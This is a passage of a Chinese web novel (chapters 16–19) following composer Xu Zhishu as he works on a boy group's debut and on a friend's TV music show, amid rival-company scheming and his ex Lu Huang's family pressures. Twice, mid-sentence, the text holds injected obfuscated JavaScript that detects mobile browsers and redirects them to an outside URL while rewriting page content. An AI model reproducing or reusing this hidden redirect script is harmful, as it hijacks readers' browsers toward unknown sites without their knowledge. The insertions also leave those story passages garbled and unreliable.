“是的。我们也不想,但没有办法,初黎这次推出的男团出道日期跟纬弦娱乐的男团又撞上了。新男团对初黎来说可以算是决定生死的一搏。在方案敲定后,所有事都要尽快提上日程。”江铭跟他说明情况。 听到又是与纬弦撞期,许稚舒就来了兴致。之前杨观跟他提出打垮纬弦娱乐,这不正是好机会吗? 16.第16章 许稚舒跟贺漾说了一声。贺漾一听是个大项目,还是跟初黎娱乐合作的,先不管许稚舒跟路煌怎么样,这样的工作机会最好还是不要错过。于是他一边催许稚舒先回去,行李他可以帮着收拾,等回去给他送家里,一边表示节目他不用担心,等直播结束会联系他。 于是许稚舒没再耽误,简单收拾了一个随身的包,把自己的房卡交给前台,说等贺漾回来会来取,就跟着江铭出发了。 一路上江铭都没多话,甚至没有多看许稚舒,只是把交通和餐食安排得妥妥当当。 晚上七点半,许稚舒到达初黎娱乐。新男团的制作人等已经在等他了,他一到,会议就开始。路煌并未出现,这让许稚舒完全没有多想,全心投入到会议中。 初黎娱乐要推出的男团定名Breeze,有五个男孩组成。这个企划在公司被卖前就定下了,结果随着公司被卖,工作人员倒没有变动,但一些练习生觉得未来不稳定,主动选择了离开,其中就有原定的出道成员。 所以在确定企划继续后,公司又做了新的选拔填补空位,最后确定了现在五个人。 许稚舒把他们单人的表演视频都看了,和大部分男团一样,五个人的定位不算特别明确,因为无论演唱,rap还是舞蹈,都没办法确定一个真正能压过其他人的优势,却也没有明显的短板。 这些可以通过后期的发展逐步深化,倒不是大问题。而让许稚舒比较欣喜的是,每个人的长相都非常有辨识度,与现在很多团站在一起根本分不清谁是谁要强太多了。至少有辨识度,就能降低了解的门槛,这是优势。 会议一直开到十点才散,主要就Breeze的出道风格和概念做了讨论。看大家都还挺有精神,许稚舒替路煌欣慰。员工们有动力,公司才能向好。 不过在回去的路上许稚舒回想着会议内容,不禁在想:今天的会议至于赶得这么紧吗?好像也没有什么今天不讨论就没办法往下推进的事。 “许先生,到了。”江铭亲自开车送他回家。 许稚舒回神,微笑着道谢,就下了车。 “许先生稍等。”说着,江铭也跟着下了车,并从后备箱拿出一盒糕点,“今天实在是辛苦许先生了,这是公司的一点心意,请你吃个新鲜。” 既然是公司送的,许稚舒就没拒绝,再次向他道了谢,才转身上楼。 回到家,许稚舒看了一眼时间,才发现贺漾还没有联系他。正常节目结束,贺漾肯定会给他发条消息。 没有立刻打给贺漾,许稚舒先打开了热搜,结果第一位就是#贺漾梦中梦#。 许稚舒嘴角一扬,知道应该是稳了,估计这个时候贺漾正在忙,暂时没空联系他。 这会儿他有些饿了,带着好心情给自己泡了杯豆浆,配着刚拿到的点心,一边吃一边把贺漾今晚的《梦中梦》的舞台看了。 【贺漾实力见涨啊!!欣喜!!】 【一开始我以为是现场音质好,后来发现是贺漾实力好。】 【我们漾漾就应该唱这种清冷的歌,太是那个味了!】 【今天的贺漾依旧打扮得很华丽,喜欢!】 【注意到了吗?编曲是许稚舒啊!!!!】 【早看到了!难怪之前蒋随发了跟稚舒的合照,应该是稚舒跟着贺漾一起去橡木市了。】 【神仙友情!】 【看到他们有在合作,团粉真的太开心了!】 【只有我一个人觉得原编曲更好吗?许稚舒的编曲有点杂乱。】 【对,只有你一个人,别刷存在感。】 【黑子滚!觉得不好就摆出论据来,张嘴就否定,最烦这种人。】 在许稚舒结束网上冲浪期间,有关他的话题#许稚舒编曲#也上了热搜。 有喜欢的肯定就有不喜欢的,无论对方是出于什么情况不喜欢,许稚舒都不在意。他只为贺漾有了出圈的作品感到高兴。 直到午夜快十二点了,贺漾才兴兴冲冲地给他发来语音消息。 贺漾:“你知道吗?!就这一首歌啊,我团队的商务那边电话都要被打爆了。” 许稚舒:“恭喜。我也跟着你沾光了。” 贺漾发了个叉腰大笑的表情,随后又发语音。 贺漾:“等我回去,下一首歌马上练起来。” 许稚舒:“行,看你时间。” 贺漾:“对了,你和初黎娱乐那边聊得怎么样了?我不会耽误你工作吧?” 许稚舒:“不会。我有些首现成的歌,明天发过去让他们挑。” 这也是许稚舒不着急的原因,按公司对Breeze的定位,他有不少歌可以让他们选。 * 之后几天,所有工作都在有条不紊地进行。贺漾第二期的歌试完伴奏后,就带着团队愉快地出发了。 初黎那边选曲进入了困难模式,许稚舒给他们的几首歌都不错,选哪首还得继续讨论。 周五下午,许稚舒被请到初黎开会。让许稚舒意外的是,这次路煌也在。 路煌今天穿了一套黑色西装,西装里面是一件薄款浅棕色毛衣,少了几分精英的硬挺,很适合这个渐渐走向深秋的季节。 “坐。”路煌指了指自己左手边的位置。 Breeze的团体企划负责人坐在路煌右手边。 这次还没等许稚舒感受到什么情绪,会议就正式开始了。 路煌:“我们在你给的歌曲中选定了两首。《独立》这首歌旋律很好,朗朗上口,是现在能在市场上让人眼前一亮的作品,流行舞曲加上复古合成器,很适合他们这个年纪,但少了一些个性。《嬉闹》这首歌在演唱上更复杂,能很好地表现出成员的个性和擅长的部分,但歌曲难度较大,作为出道曲在舞台上恐怕效果不理想。” 初黎选了这两首歌,许稚舒一点都不意外。他自己的判断也是这两首更好。 许稚舒:“我建议选《独立》。Breeze作为一个新团,先打出音乐市场的差异化很重要。要让大家先知道有这么一个团,然后再去强调个性的东西。” 路煌:“个性的东西也可以打出差异化。” 许稚舒嘴角一扬:“个性是要有实力承接的。我承认现在的确有个别团一出来就非常有个性,但你也要看人家挑出的人练习了多少年,应该都没有低于五年的。就算如此,最开始上台的时候,表现也是差强人意。” “你觉得我们这一批挑的五个人不够好?”路煌语气一直很理性,话是想到什么说什么,但语气全是商量。 “不,我觉得你们挑 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许稚舒看着他,说:“道理是这样没错,但你自己是做投资的,应该知道不把宝压一个项目身上吧。” 他当然希望通过Breeze压住纬弦要推出的男团,他也会努力去做,但结果可以期待,却不能控制。否则也不会有那么多团出道没两年就解散了。 “行,你说得对。” 员工们都没想到路煌就这么轻易妥协了,看许稚舒的眼神更信服了不说,也感叹于两个人的关系是真的好。 路煌又道:“你说吧,你能为Breeze做哪些?剩下的交给初黎。” “给我加工作?”他一个写歌的,歌交上去别的他可以不用管的。 路煌眼里带笑的地看着他:“稍微让我赚点也行,不然我怎么在公司树立威信?” 许稚舒实在没办法在话题聊起来后,还要刻意跟路煌保持距离,两个人说话就这么自然而然地回到了以前的状态中。 思考了一会儿,许稚舒说:“歌曲我会负责录音和后期,MV我可以提出构想,至于找谁来拍就是初黎的工作了。宣传上我帮不上忙,不过编舞风格我也可以写个报告。” 路煌满意了:“可以。不让你白干,都给你算费用。” 许稚舒没拒绝,也没客气:“我还有一点要求,初黎必须帮Breeze训练现场演出的能力,现在这个市场,现场不行是立不住脚的。如果他们能在年末舞台上有出色的表现,我愿意把《嬉闹》半价卖给你们,作为他们的回归曲。” 许稚舒对自己的歌有自信,甚至都不会担心Breeze红了之后是不是还会要他的歌。 “成交。”路煌很痛快。 于是会议就在大家陪同,且一言未发的情况下结束了。即便是一言未发,接下来工作怎么安排,也已经非常清晰明了了。 等会议室的人都走光了,路煌才道:“一起吃晚饭吧?” “不了。”许稚舒果断拒绝,并找理由说,“我要回去写MV企划,正好现在有想法。” 路煌失望,也知道许稚舒可能是借口,却没有再要求的理由。 正想再跟许稚舒说说话,许稚舒放在桌上的手机响了,是蒋随发来的语言通话。路煌的脸顿时就黑了,找了理由把许稚舒从橡木市叫了回来,却没想到两个人已经加上联系方式了! 17.第17章 “喂?蒋老师。”许稚舒没有避开路煌,直接接了。 那边蒋随的声音带着笑意:“在忙吗?” “已经忙完了。”许稚舒如实说。他想着蒋随不会随便联系他,应该是有事才对。 “还以为你今天也会跟贺漾一起来,还想晚上请你吃面。”蒋随的分寸把握得很好,如果他说请许稚舒吃大餐,许稚舒未必会同意。但如果说是去吃之前那家店的面,无论是从价格还是味道来说,许稚舒都没有拒绝的理由。 “最近有工作,就没跟他过去。”许稚舒看了一眼时间,“蒋老师不去准备吗?” 虽然离节目开始还有几个小时,但的确到了准备的时间了。 “马上去。但节目有一个变动,觉得得提前跟你说一声。”蒋随能特地来跟许稚舒说,明显是好意。 涉及到节目,许稚舒忙问:“什么变动?” 蒋随:“这一期结尾会有歌手盲选音乐人的环节。下周开始的节目,编曲部分将由每个歌手选中的音乐人来做。” 许稚舒皱眉:“是临时做的调整?” 正常来说,如果这个环节是之前就决定好的,会写在合同里。可现在才拿出来,多半是临时做的决定。而能让口碑这么好的节目冒风险做出调整,这中间的势力博弈不是节目组某一个人能决定的。 蒋随说:“对,昨天彩排还没有变动,今天我刚到节目组,就收到了上面的通知。这个决定对每个歌手都会有影响,但我觉得对你和贺漾的合作影响是最大的。贺漾上一个舞台很出圈,到现在都还保持着热度,不少人期待他这一期的舞台。如果这一期他没表现好就算了,如果依旧很出圈,肯定要闹起来。” 先不说粉丝们怎么想,作为一个旁观者,也会有被摘了桃子的猜想。如果下一期的音乐人做得好是能挽回舆论,可万一要是做不好呢? “会不会是节目组想借机炒热度?”许稚舒猜测道。剪辑、拼接、断章取义都是现在惯用的炒作手段,即便观众们很反感,却架不住的确能带来足够大的流量。 蒋随叹气:“我之所以接第二季,是因为第一季节目组没有闹任何幺蛾子。如果他们这个团队不靠谱,我也不可能拿自己的名声来赌。” 许稚舒仔细一想,还真就没想到任何蒋随的负面新闻,可见至少在人前,他是非常爱护羽毛的。 路煌没听到电话那头在说什么,只凭许稚舒的话判断,明显不是好事。 他走到许稚舒身边,许稚舒下意识地抬头看他。路煌用眼神询问是否需要他帮忙,许稚舒给他打了个稍等的手势,就继续跟蒋随说话了。 许稚舒:“请到节目上的音乐人都有谁?” 蒋随说了名字。 这些音乐人在业内都不算无名之辈,至少也有过一首让人印象深刻的歌曲。只是这里面有两位是专门跟纬弦娱乐合作的。这让许稚舒不禁警惕起来。 纬弦娱乐看《听一首歌》的收视好,热度高,想参与一手完全可以理解。但半路加入,还来了把大的,总觉得是另有谋算。哪怕说就是想推自己合作的音乐人,万一拿到成绩,可以为新男团做预热,也实在没有半路硬参与进来改规则的必要。节目这才第二期,纬弦有很多时间可以提前安排。再退一步说,今年第四季度的音综不止这一个,去参加其他的也可以吧。 “我知道了。蒋老师,谢谢你特地通知我。等节目结束我会跟贺漾商量的。”他这边怎么安排,就没必要跟蒋随细说了。 “行,我也是担心你在节目上看到消息会影响心情,所以提前跟你说一声。” “我明白,如果我再去橡木市,一定请你吃饭。”这不是客气,是蒋随给他递消息,他应该给的回报。 那头蒋随哈哈笑说:“等你来橡木市还不知道什么时候。还是等我下次去源海市吧。” “好,欢迎蒋老师来。” 许稚舒挂了电话,路煌立刻问他发生什么事了。许稚舒根本没有瞒他的必要,况且这中间夹着纬弦娱乐,除了路煌,他也没办法跟别人表达自己的不满。 路煌握了握手指,说:“我帮你打听一下。” 许稚舒点点头,如果纬弦没有针对,只是搞了个耍流氓的操作,他就不说什么了。如果这中间有针对,他能忍一时,但肯定会找机会还回去。 不是他小人之心,从安芷跟左思珈撞期开始,其实就等于是杨阅向他宣战了。 回去的路上,许稚舒订了比萨,吃一些高热量的东西,会让心情好一些。同时他还点了些小食,晚些时候稍微热一下,配着节目一起吃,也蛮惬意的。 刚听蒋随跟他说这个变动时,他心情真的不怎么好。可当路煌说会帮他打听,他就像是找到了同盟,无论结果如何,他心里是不慌的。这就让他不会纠结此事,只要耐心等消息就行。 第二期贺漾的表现也相当优秀,这次他唱的是一首轻快的歌,那种积极向上的力量足以通过歌声感染到每一个人。尤其是在现在大家都特别喜欢高能量的时候。 许稚舒在编曲上依旧保持了克制,这次虽然用了大量的合成器,但并没有把听觉做得很满,让贺漾的声音穿透出来,从而放大这种力量感。 【又是一首经典!】 【 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【什么玩意?好好的音乐节目怎么有种儿戏的感觉?】 【歌手们在此之前应该把要拿上节目的歌曲都准备好了,现在突然换合作人,时间还这么仓促,是节目组不想干了?】 【@橡木电视台你们脑子让驴踢了?不想做节目可以不做,我们是来欣赏音乐的,不是来给你们当收视率实验品的。】 【看歌手们的样子,应该也是事先不知情的。辛馨姐的脸都黑了,贺漾也没好到哪儿去。】 【有种歌手是想来展示自己的,而节目组是想看歌手出丑的感觉。】 【垃圾节目,不能办就散了吧!】 【不是不相信这些音乐人,只是这样到底有什么意义?】 【呵呵,我盲猜是为了推某个音乐人的。】 【我阴谋论一下,是为了淘汰资本不想要的歌手的。】 #听一首歌胡搞#的词条紧跟着上了热搜。 许稚舒只看了几眼,就把注意力放到抽签上了。 轮到贺漾,他没有强装笑脸,全程面无表情地抽了签。这些歌手里除了三位大前辈,敢冷脸的只有贺漾了。 抽到纸条后,他交给了女主持人。 女主持人像前面一样,把纸条拿到背板上贴好,抽签结果会统一公布。 一通忙活,终于到了揭晓的时候。当贺漾名下的纸条打开,里面出现了林仕咏的名字时,许稚舒的脸色也难看起来——这个人正是与纬弦长年合作的音乐人之一。 18.第18章 节目结束没到半个小时,贺漾的电话就打来了。 “我真的很想爆粗口了!”贺漾一点也不装,气愤、委屈、不满全放在语气里了。 许稚舒因为提前得到了消息,多少有心里准备,只是看到贺漾要合作的音乐人是林仕咏时,还是不高兴了。 “节目开始之前,蒋老师特地跟我说了这件事。”他没有瞒贺漾的必要,“当是我还在想如果是水平很高的音乐人,对你倒是不错的选择。但没想到只是这种水平的。” 许稚舒没有看不起谁的意思,只是节目组突然弄这么一出,还不是足够王牌的音乐人,就算路煌那边还没查出结果,他也知道这里面肯定有说法。 贺漾“啧”了一声,说:“稚舒,我觉得蒋哥可能对你有想法。” “嗯?”许稚舒根本没往这方面想过,他对待蒋随也只是对待比自己大几岁的人的态度。 “今天节目结束后,我和他一起等车开过来,他问我你是不是单身。”贺漾语气严肃,“我还在心里吐槽,这人想打听八卦也问得太直接了。我就跟他说Infinite解散时是,现在不知道了。” 对外人,贺漾不可能说实话。再说,他说的也没错吧。 许稚舒轻笑,他现在离开了舞台,即便不是单身,也没什么不可以。无论贺漾猜得对不对,许稚舒暂时都没恋爱的打算,不可能给任何回应。所以他就当不知道吧,以后再联系也把握好距离,别引起不必要的误会。 “下期节目你有什么打算?”许稚舒把话题拉回来,“可能是我小人之心,但我觉得你最好做两手准备。” “我明白。别说我了,其他歌手脸色也没比我好到哪儿去。听说辛老师进了休息室就摔杯子了,节目组的工作人员大气都不敢出,生怕她撂挑子不干了。”贺漾依旧喜欢跟许稚舒分享八卦。 许稚舒语气没有变化,他不想给贺漾压力,所以语气尽量平和:“林仕咏的水平不算差,但有三四年没拿出像样的作品了。他背后是纬弦娱乐,但看之前安芷和左思珈形成的对垒之势就能看出来,纬弦现在应该很想通过炒作占据公众视野。你现在热度正高,而纬弦要对标Infinite推出新男团。林仕咏跟你合作之后,完全可以去给纬弦的新男团做出道曲。到时候绑上跟你合作过这件事,为新男团炒热度,你的粉丝肯定不高兴。如果吵起来,又是一轮新热度,对一个刚出道的男团来说,还真不亏。” 贺漾惊呼:“你要不说,我还真没想这么远。” “我也是猜测,不一定对。”也有另一种可能,就是杨阅针对的是他,不希望通过贺漾的优异表现让他获得更高的市场认可度。但这些他不能跟贺漾说。 “多想一层总是没错的,这个圈子水多深,咱们都有数。哪怕我们已经混了十年了,也不可能完全摸透。”贺漾也很清楚,这些年他们之所以没被卷入资本博弈,也没有被针对,路煌起了很大的作用。他们用了十年的时间了解这个市场,但其实知道的还是片面。 “如果对方给出的方案不好,你及时沟通。尽量不要给对方炒话题和蹭你热度的机会。”许稚舒说。 “放心,我会注意的。你给我做的伴奏我会备着,以防万一。”贺漾现在是两眼一抹黑,完全不知道接下来会是什么局面。如果真像许稚舒说的那样,那他就是一根筋变成两头堵了。如果和林仕咏合作得好,以后他很有可能成为纬弦新男团的热度源;如果林仕咏合作得不好,第三期他就很可能被淘汰。 眼下他们都没有主动权,这件事就只能走一步看一步了。 * 周一,许稚舒照常来到工作室。 “老板,早。”李瑶比许稚舒早到五分钟,这会儿已经坐在前台,全整理妥当了。工作室访客不多,但杂七杂八的事可真不少,李瑶在这儿工作没有白拿工作的感觉,干得很踏实。 “早上好。今天别做美式了,想喝点甜的,帮我点一杯,要热的。”许稚舒说,今天工作多,他需要一点甜的来调动情绪。 “没问题。”李瑶应后,又道,“今天有个预约,路哥今早来电话,问能不能跟你见一面,说是打听到了消息。” 李瑶不知道具体是什么,也没问,只是复述了路煌的话。 许稚舒心里是清楚的,说:“行,你问他能不能约午饭,就在工作室吃。” “好的。” 不是许稚舒不想招待路煌出去吃,只是被拍到麻烦。而且对方是路煌,就让他省一点吧。 Breeze的出道曲已经定下了,现在声乐老师正在带着他们练歌。许稚舒今天要把MV方案和舞蹈风格写好交给初黎,让他们尽快安排。虽然没挂Breeze制作人的名头,但干的都是制作人的事。Breeze这个项目的总负责人完全没有意见,还不时要跟他沟通细节,可见也是希望Breeze能出道成功的。 中午,路煌准时到达工作室,还给他们带了午餐过来。 米其林餐厅的午餐,乐言看得眼睛直放光。这样的餐厅不是许稚舒请不起,而是预约要等的时间太久,不是随时能吃上的。 “路少,你直接上去吧,许哥在办公室。”乐言拿了自己和李瑶的那份,就不打扰他们了。 工作室的布局路煌一清二楚,根本不需要人带路。 敲了办公室的门,就听许稚舒在里面道:“进。” 路煌推门进去。 不知道是见面次数太频繁了,还是时间真的安抚住了分手后的情绪,总之许稚舒现在面对路煌,已经没有那么复杂的心情了。只要不谈感情,就能好好说话。 路煌把午饭放到茶几上,非常自然地坐到了沙发上。 “破费了。”许稚舒合上电脑,随后摘掉了银框的平光镜。 “怎么戴上眼镜了?”路煌把餐盒逐一拿出来,还给许稚舒带了奇亚籽牛油果酸奶碗。 许稚舒把酸奶碗放进办公室的小冰箱里,这肯定不是午饭吃的,留到下午刚刚好。 “现在面对电脑的时间长,弄一幅防蓝光。”许稚舒坐到单人沙发上,拆开一次性筷子,和路煌边吃边聊。 这一刻,路煌觉得仿佛回到了在宿舍的时候,宿舍的茶几也不大,两个人会挤在一起吃东西。 “贺漾参加的那档节目的确是有人临时加的与音乐合作的环节。”路煌一般有正事就会先说,不会故意吊着,“因为第一季反响很好,第二季的投资商就多起来了。纬弦没有直接投资,但杨立致手里的岸边传媒投了。” “杨立致的新公司?”许稚舒对杨立致总是直呼其名的,就连杨观在他面前也只会说“我爸”,而不是“咱爸”。 路煌:“对。你知道的,音乐市场下行后,他又做过声乐培训、练习生挖掘、还有短视频孵化。现在他又看好直播带货这个领域了,想跟孵化短视频的公司分开经营,就又成立了岸边传媒。 “不过这个公司做得并不顺,他就托了关系投了《听一首歌》,希望能打出知名度,拉一些已经成名的演员,到他这家公司做直播带货。他在这个圈子人脉还是有的,就算岸边传媒跟这档节目不适配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493016|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也能投。 “安芷之前回归扑得太难看,不知道杨阅怎么跟杨立致说的,杨立致就想通过这个节目推纬弦的音乐人,弥补一些损失。原本就他一个人想这么做,肯定成不了。但没想到,郑家也同意这个想法。 “郑家是第二季最大的投资商。只不过郑先生是把投资按在了数个公司名下,这样郑家就不点眼了。这两家达成一致,节目组也得让步。” 许稚舒听得直皱眉,吃饭的速度都慢了,随后把之前跟贺漾的讨论说给了路煌听。 “杨阅针对你,倒是不无可能。就杨家这么复杂的关系,杨阅做出什么失智的行为,我都不意外。”路煌不愿意在许稚舒面前多提杨家,但事情可能关系到许稚舒,他该说还得说,“我不知道杨立致是怎么想的,敢这么撒手把纬弦交给杨阅。就杨阅接手后这一系列的操作来看,说实话,跟他对标我都觉得掉价。” 许稚舒被他的话逗笑了。 路煌心头一晃,又很快收敛住心神,说:“至于郑家为什么会同意,我猜应该有郑昌的劝说。” “他出院了?”之前他被捅进医院,后来郑家压了热度,之后就慢慢被大众遗忘了。 “早出院了,听说开始在家装乖了。之前郑先生已经开始带他学习经营郑家产业了,只是还没放权给他。他之所以敢没有顾及,嚣张跋扈,也是看准了郑家只有他这一个孩子。”这次路煌是站在商人的角度跟他说的,“但现在不同了,郑夫人怀孕了。” 许稚舒差异道:“你怎么知道?” 路煌见他吃得慢,下意识想给他夹菜,提醒他好好吃饭。但筷子刚要夹下去就顿住了,他想,但不能。 路煌佯装什么都没发生地继续说:“郑夫人去产检,她选的私立医院我们家有投资。只不过套了壳子,别人不知道。” 许稚舒听得也很无语,这些投资商投资都要耍心思。 “所以我猜郑昌是感受到危机了,想做出点成绩让郑先生把目光放回他身上。目前郑家投资能及时看到回报的只有《听一首歌》这档节目。你是做音乐的,在你看来,肯定是音乐节目要能产出好的现场最重要。可对投资人来说,话题度最重要,不管好的坏的,流量才是王道。”路煌也是慢慢摸索着这些人的逻辑。 “我懂了。就像很多节目明明很正常,却非要往有争议的方向上搞一样。”许稚舒叹气,现在想有一档舒心的节目太不容易了。 “对。这是圈外人最容易想到,也最容易懂的获取流量的方式。郑先生估计也是想再给郑昌一次机会,所以同意了这个方案。不过这中间可能还有我没想到的原因,暂时能猜的就这么多了。”路煌通过有限的信息做出了这些判断,可能有不对的地方,也可能有很多事他还没查到,但目前来看许稚舒肯定是受到影响了。 许稚舒点点头:“事以至此,其实我们也做不了什么。我倒还好,有之前的成绩,之后会有和初黎的合作,还有机会。我就怕影响到贺漾。当初他问我应不应该参加的时候,我找你帮着打听一下就好了。” 路煌不想看他自责,道:“没关系,只要你有好音乐,还怕贺漾跌倒爬不起来?” 这话一下就戳中了许稚舒的心,他笑道:“你说的对。” 许稚舒的自信让路煌心里再次泛起浪花,他太喜欢这样的许稚舒了,甚至能被许稚舒的情绪感染。他贪恋这样的感觉,仿佛有许稚舒,他就永远有力量。 刚沉进舒适的愉悦中,路煌的手机就响了,是管家打来的,说老爷子住院了,让他赶紧来医院。 19.第19章 挂断电话,路煌都没空多说几句,就赶着离开了。 原本许稚舒还想着饭后如果路煌不着急走,就把自己做得方案给他看看,有需要调整的他也可以及时更改,对彼此来说都省时省力。 路煌赶到医院时,家里除了在外留学的路千瑗,其他人都到了。 路老爷子是下楼时没站稳,摔了一跤。万幸的是没剩几阶楼梯,老爷子没有从楼梯上滚下来,所以并没有出现骨折的情况,只是轻微扭,静养几天即可。但坏消息是老爷子撞到了头,有轻微脑震荡,需要住院观察。 “人老了啊,腿脚都不听使唤了。”路老爷子躺在病床上感叹。 路老太太坐在床边,看着自己的老伴满眼心疼,嘴上说出的话却带着嫌弃:“都和你说了多少次了,下楼要慢一点,你就是不听。” 路老爷子不敢回嘴,只能叹气。 路康佑站在自己母亲身后,说:“妈,等这回我爸出院,你们搬到乐湾山的别墅去住吧。那边空气好,一楼也能住人,会方便一些。” 他们现在住的老宅一楼都是大大小小的会客餐厅和厨房,没有改造的空间,有些年头的房子也没有给按电梯留出余地。对上了年纪的人来说,就算楼层不高,爬上爬下的家里人也不免担心。 “我看行。乐湾山离我老姐妹家更近,离咱们现在住的地方也算不远。”老太太拍板同意了。 那房子是六年前买的地,后来盖了房子。原本是想等路煊和陈玉欣有了孩子就搬过去住的,这样孩子既有足够的空间,又不会影响到家里老人的休息。 路老爷子默许了,他身体向来硬朗,可到了年纪不服老也不行:“今天这一摔,有些话我觉得还是提前跟你们说了比较好。咱们家这些年过得很好,孩子们都争气,我没什么不满意的。万一我要是有个意外,你们也不要愧疚,觉得没照顾好我。我对你们没有什么不满的。只是还没看到曾孙,我这心里总是惦记着。” 人在意识到岁月不饶人后,不免会生出各种感慨。路老爷子活到现在,都是顺顺当当的,没有需要遗憾的地方他会跟子女讲,可还有些执念的地方,他也会直言。 “爸,您这话说的我可不爱听了,您长命百岁的,还怕看不到吗?”路夫人严妙站在路康佑身边,笑着调节气氛。 路康佑也忙道:“就是。路煌已经开始相亲了,有合适的很快就能结婚。您就养好身体,等着抱曾孙吧。” 路煊和陈玉欣也想说些什么,但最后都没能开口。 路煌站在床尾,心绪复杂。原本刚复燃的心又被现实按灭了。“孝”字还是压在他们这一代人身上的大山,他不希望爱他的家人有遗憾,那有些遗憾就只能他来背。 有时候路煌甚至会痛恨自己的家庭为何会这样和睦。如果家里人不这么爱他,或许他还可以找到叛逆的理由。 路老太太拍了拍老爷子的手背:“你啊,顾好自己得了。儿孙自有儿孙福,你个老头子操那么多心干什么?” “我这不是躺着无聊,还不能念叨几句吗?”老爷子也知道陈玉欣在这儿,他说这些不合适。但他也不禁会想,这次是摔得轻,万一没这么幸运呢?有些话提前说一说也是好的。 老爷子需要静养,见他没什么大问题,留了管家和护工照顾,其他人就先离开了。 出了医院的大门,路康佑叫住路煌,说:“相亲上点心,家里都等着你的好消息呢。” 没等路煌说话,严妙就拉了一把路康佑:“这事是催出来的吗?赶紧回公司去吧。” 路康佑的确还有工作,赶着就回去了。路煊拍了拍路煌的肩膀,跟着路康佑一起走了。严妙则和陈玉欣一起回家,这会陈玉欣已经很难维持住在病房里的平静了。她向来是个心思敏感的人,即便知道家里人的重点并不在她身上,她也会因为压力全给了路煌而感到抱歉。 路煌送母亲和大嫂上车,看车子开走,才上了自己的车离开。如果没有爷爷的那番话,从医院出来,他肯定会找个理由再去找许稚舒。可现在,他只能自己待着,消化心底的情绪。 办公室里,许稚舒站在窗边,楼下车来车往,是时间流逝的模样。 迷你音响里单曲循环着《爱与不爱之间》,歌中唱尽了纠结。 明知不能继续,却因为不甘和意料之外的相遇,总会激起一丝纠结的波澜,他没有表现出的那么坚强,只是掩饰得很好。而就在刚刚,在路煌接到爷爷住院的电话匆匆离开后,他的纠结就随着路煌一起离开了。他太了解路煌,所以能理解。如今剩下的,只有遗憾。 时间还是推着他往前走了几步,许稚舒跟自己说,这样很好,这不就是他想要的吗? 这样的心态转变又给他带来了新的灵感,许稚舒转身去了音乐室,他要利用灵感及时写成歌,也算让自己没白难受。 * 实在不放心贺漾的第三期节目,许稚舒还是于周五晚抵达了橡木市。 “哈哈,你简直比我经纪人还操心。”他赶过来,贺漾心里高兴。不管怎么样,有许稚舒在,他总觉得心里有底气。 许稚舒笑说:“你就当我是来蹭饭的。” “那也得让你蹭顿大餐才行啊。”贺漾依旧吃得清淡,不过他的经纪人已经为许稚舒单独点餐了。 有许稚舒在,经纪人心里也有底。说起来,在Infinite时期,许稚舒是最低调的,也是对外来说脾气最好的。可作为业内小有成绩的经纪人,她可是听说许稚舒被才是最不容易妥协的那个。 “伴奏给我听听。”许稚舒直接提要求。 贺漾毫不犹豫地放给他听,并在第二遍时跟着伴奏唱完了整首。 可能因为制作时间紧,编曲中规中矩,挑不出错来,却也找不出让许稚舒可以学习的地方。 “还可以,没什么好挑剔的。”许稚舒话说得很客气,至少林仕咏没搞事,看来还是知道爱惜羽毛的。 “听惯了你的风格,他这种风格虽然保险,但我总觉得少一股把我往上推的力。”贺漾唱的时候有明显的落差感。 “要唱得特别出彩的确有难度,整个编曲做得还是比较谨慎的。不过这样对你来说不算坏事,中规中矩的风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501503|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格以后纬弦娱乐就是想蹭你的热度,也没有那么大的话题量了。”许稚舒不知道自己算不算小人之心,纬弦娱乐能消停地让林仕咏做事,的确出乎他预料了。 “嗯,希望如此吧。”贺漾说。没有人希望被不熟的人蹭热度。 周六,许稚舒跟着贺漾工作室的人一起去了电视台。 贺漾在化妆时,林仕咏来了。 林仕咏个子不高,一身偏向嘻哈的打扮,在四十多这个年纪并不算特别合适,况且他并不做嘻哈风格的音乐。不过如果是要上台给人留一个深刻的印象,倒是一个不错的选择。 看到许稚舒,林仕咏一点都不意外,还笑着跟他打了招呼。随后又对贺漾说:“伴奏我已经交上去了,你就放心吧。” 贺漾点点头,没话找话地说:“林老师今天打扮得很时尚。” 林仕咏展示性地扯了扯身上的衣服:“我朋友从国外给我带回来的品牌与嘻哈歌手合作的联名款,我想着平时不大穿得到,今天正好是个机会。” “的确很不错。”贺漾依旧是那种不熟的客气,仿佛也没有别的话可说了,佯装怕彩装弄到眼睛里,把眼睛闭上了。 这一周要说林仕咏有什么让他不满的地方,倒也算不上。只是他听了许稚舒的建议,想跟林仕咏沟通编曲时,一直联系不上林仕咏本人,都是他的助理接的电话,并表示林仕咏在闭关编曲,有什么事可以跟他说,他可以代为传达。 至于对方是不是传达了,林仕咏又听进去多少,贺漾是不知道。拿到伴奏后,贺漾只觉得无趣,又挑不出错,所以想让他态度热情,实在难为他了。 “小许是不放心才特地过来的?”林仕咏年纪比许稚舒大不少,叫许稚舒“小许”说得过去。至于他所说的不放心具体指什么,就可以有很多层解读了。 “自然。第一期我也跟过来了,担心贺漾紧张,影响发挥。”许稚舒把“担心”定了个方向,省得林仕咏往下引话题。 “小贺出道这么多年,怎么可能会紧张?”林仕咏明显是不信的。 许稚舒一笑,说:“就当是我多余担心,反正跟着他还能看现场,视听效果更好。” 林仕咏似笑非笑地看着许稚舒。 许稚舒从容是与他对视:“林老师还没化妆吧?时间有点赶了。” 